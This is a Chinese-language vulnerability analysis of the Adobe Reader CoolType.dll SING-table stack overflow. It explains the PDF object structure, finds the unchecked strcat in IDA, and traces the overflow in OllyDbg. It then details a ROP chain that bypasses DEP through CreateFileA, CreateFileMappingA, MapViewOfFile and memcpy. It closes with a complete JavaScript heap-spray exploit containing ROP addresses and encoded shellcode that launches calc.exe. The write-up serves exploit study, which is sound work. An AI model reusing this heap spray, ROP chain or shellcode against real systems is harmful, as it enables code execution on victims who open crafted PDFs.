-
格式分析
Header: 文件头,用来注明 pdf 文件版本号 Body: 主要由组成文件的对象组成,例如图片,文字 Cross-regerence table: 交叉引用表,用于存放所有对象的引用、位置偏移、字节长度,用于随机访问pdf中的任意对象 Trailer: 文件尾,给出交叉引用表的位置(指针)和一些关键对象的信息(指针),以%%EOF标记文件结尾。PDF阅读器都是从这里开始解析的
这里用 https://github.com/dzzie/pdfstreamdumper 工具查看 pdf Body 的节点信息,首先第一个节点:
/Pages 2 0 R // 2(对象序号)0(生成号)R(表示引用对象) /Type /Catalog // 此对象是 catalog 对象(根对象) /OpenAction 11 0 R // 对象 11 包含打开 PDF 时要执行的操作 /AcroForm 13 0 R
第二个节点:
/MediaBox 3 0 R // 对象 3 包含页面显示的大小 /Resources 4 0 R // 对象 4 包含该页所要包含的资源,包括字体和内容的类型 /Kids [5 0 R] // 此对象的孩子为对象 5 /Count 1 // 此PDF总共有 1 页 /Type /Pages // 此对象是 Pages 对象
跟进第二个节点包含的对象
4 0 obj << /Font 6 0 R //对象6包含字体相关信息 >> endobj 6 0 obj << /F1 7 0 R //对象7包含字体相关信息 >> endobj 7 0 obj << /Type /Font // 字体对象 /Subtype /TrueType // 字体类型是 TrueType /Name /F1 /BaseFont /Cinema // 基于 Cinema 字体 /Widths [] /FontDescriptor 9 0 R // 对象9是字体描述对象 /Encoding /MacRomanEncoding // 字符编码采用M acRoman >> 9 0 obj << /Type /FontDescriptor // 此对象为字体描述对象 /FontName /Cinema // 字体名称是 Cinema /Flags 131140 /FontBBox [-177 -269 1123 866] /FontFile2 10 0 R // 指向 10 号对象,10 号对象是流对象(黄色的) >>
其中,00 01 00 00 是 TTF 字体文件的开始标志,
其中的 SING 技术(生僻字解决方案)允许用户创建新字形,每个新字形作为一个独立的字体打包。这次漏洞触发点在 uniqueName 的操作过程中,长度 28 字节,表中偏移 16 字节。SING 表结构如下:
/* https://github.com/adobe-type-tools/afdko/blob/develop/c/spot/sfnt_includes/sfnt_SING.h * SING table for glyphlets */ #ifndef FORMAT_SING_H #define FORMAT_SING_H #define SING_VERSION VERSION(1, 1) #define SING_UNIQUENAMELEN 28 #define SING_MD5LEN 16 typedef struct { Card16 tableVersionMajor; Card16 tableVersionMinor; Card16 glyphletVersion; Card16 permissions; Card16 mainGID; Card16 unitsPerEm; Int16 vertAdvance; Int16 vertOrigin; Card8 uniqueName[SING_UNIQUENAMELEN]; // 28 bytes length Card8 METAMD5[SING_MD5LEN]; Card8 nameLength; Card8 *baseGlyphName; /* name array */ } SINGTbl; #endif /* FORMAT_SING_H */
-
静态分析
漏洞位于 CoolType.dll,拖出来用 IDA 分析,找到 SING 表的位置
看一下在 0803DD74 地址的交叉引用,发现调用了 strcat 追加字符串,没有检查:
源地址来自:ebp + 108h + Destination,入栈时源地址有个 0x10 的偏移,实际上是 UniqueName 字段的偏移,
导入符号表(ctrl+f9) https://github.com/adobe-type-tools/afdko/blob/develop/c/spot/sfnt_includes/sfnt_SING.h (需要修改一下类型),然后给 v18 变量 convert to struct 一下
#ifndef FORMAT_SING_H #define FORMAT_SING_H #define SING_VERSION VERSION(1, 1) #define SING_UNIQUENAMELEN 28 #define SING_MD5LEN 16 typedef struct { USHORT tableVersionMajor; USHORT tableVersionMinor; USHORT glyphletVersion; USHORT permissions; USHORT mainGID; USHORT unitsPerEm; USHORT vertAdvance; USHORT vertOrigin; BYTE uniqueName[SING_UNIQUENAMELEN]; BYTE METAMD5[SING_MD5LEN]; BYTE nameLength; BYTE *baseGlyphName; /* name array */ } SINGTbl; #endif /* FORMAT_SING_H */
验证了之前的猜想。
-
动态调试
方便查看修改一下 payload(/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb):
用 Ollydbg 打开 AcroRd32.exe,f9 加载库,然后下 3 个断点(0803DD82,0x0803DDAB:strcat 之前,0808B308)
用 ollydbg 打开的 Adobe Reader 打开 生成的 pdf 文件,程序断在第三个断点,然后单步进入跳到 080833EF
用 ida 查看对应代码
跳到 0803DD82 处,一直 f8 到调用完 strcat,此时 ebp 地址尾 0x12E4D8,这之下的地址已经被栈溢出覆盖(4141),此时 eip 被覆盖为 4A82A714,
然后需要绕过 DEP 保护,这里使用堆喷 + ROP。ROP 的地址选取的是 0x4a82a714 和 0x4a80cb38 两处地址,因为在 Adobe Reader 各个版本中这个 dll 上的这两个地址不会改变。
第一个 ROP,通过栈迁移调整栈顶,运行完之后 esp 的地址指向 0x12E4E0,栈溢出的地址是 0x12E4D8,刚好差了 8 个字节。
第二个 ROP,pop esp,把 esp 修改到 0x0C0C0C0C 方便堆喷。
第三个,地址 0x4A8A0000 存到 ecx 上,
第四个,把 eax 的值存到 ecx 指向的地址(0x4A8A0000),
第五个,把当前栈顶指针(CreateFileA 函数)赋值给 eax,
第六个,跳转到 eax 执行 CreateFileA 函数,
此时栈上已经构造好所需的参数,CreateFileA 打开一个名为 iso88591 的文件,属性为临时文件和隐藏文件,
然后交换 eax 和 edi,此时 eax 中存放的是 CreateFileA 后返回的文件句柄:
下一个 ROP 把 edi 的值放到 esp + ebx*2 处,也就是 0x0C0C0C6C,这个地方存的是下个函数 CreateFileMappingA 函数第一个参数的位置。
然后执行 CreateFileMappingA 函数,为指定文件创建文件映射对象,内存属性为 RWX,准备把 shellcode 复制到这里执行。接着会用相同的方式执行 MapViewOfFile 函数,该函数讲一个文件映射对象映射到当前程序的地址空间中,
这里把文件映射到地址 0x3B70000,通过地址映射可以看到这里也是 RWE 权限
然后要调用 memcpy 讲 shellcode 放到这里,具体参数的修改方式还是通过前面的方式。
memcpy 的 src 为 0x0C0C0D54(存放 shellcode),dst 为 3B70000:
然后跳转到 shellcode 处执行,calc.exe:
dump 出来具体的 exp:
变量名换一下:
var a = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ud0d9%u74d9%uf424%u295b%ub1c9%ub831%ucdd3%ub89c%u4331%u0318%u1843%uc383%u2fd7%u4469%u2d3f%ub592%u52bf%u501a%u528e%u1078%u62a0%u740a%u084c%u6d5e%u7cc7%u8277%uca60%uada1%u6771%uac91%u7af1%u0ec6%ub4c8%u4e1b%ua80d%u02d6%ua6c6%ub345%uf263%u3855%u123f%uddde%u15f7%u73cf%u4f8c%u72cf%ue441%u6d46%uc186%u0611%ubd7c%ucea3%u3e4d%u2f0f%ucd62%u7751%u2e44%u8124%ud3b7%u563f%u0fca%u4db5%udb6c%uaa6d%u088d%u39eb%ue581%u657f%uf885%u1dac%u71b1%uf253%uc130%ud670%u9119%u4f19%u74c7%u8f25%u29a8%udb83%u3d44%u81be%uc002%ubc4c%uc260%ubf4e%uabd4%u347f%uacbb%u9f7f%u43f8%u82ca%ucba8%u5693%u91e9%u8d23%uac2d%u24a7%u4bcd%u4cb7%u10c8%ubc7f%u09a0%uc2ea%u2917%ua13f%ub9f6%u08a3%u399d%u5541' ); var b = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while(b.length + 20 + 8 < 0x10000) b+=b; c = b.substring(0, (0x0c0c-0x24)/2); c += a; c += b; d = c/substring(0, 0x10000/2); while(d.length < 0x80000) d += d; e = d.substring(0, 0x80000 - (0x1020-0x08)/2); var array = new Array(); for(i=0; i < 0x1f0; i++) array[i] = e + "s"
其中 b 就是 0x0C0C0C0C,然后用 0x0c( or al, 0xc)滑过去,这里主要做的就是截取长度为 0x0c0c - 0x24 的滑板,在后门添加 shellcode,这样可以保证 shellcode 中从 0x4A8063A5 开始的地址正好保存在结尾为 0C0C 的地址上,这个减去的 0x24 就是堆头部 0x20 的信息和 shellcode 的 4 个 0x41 开头。
-
参考文献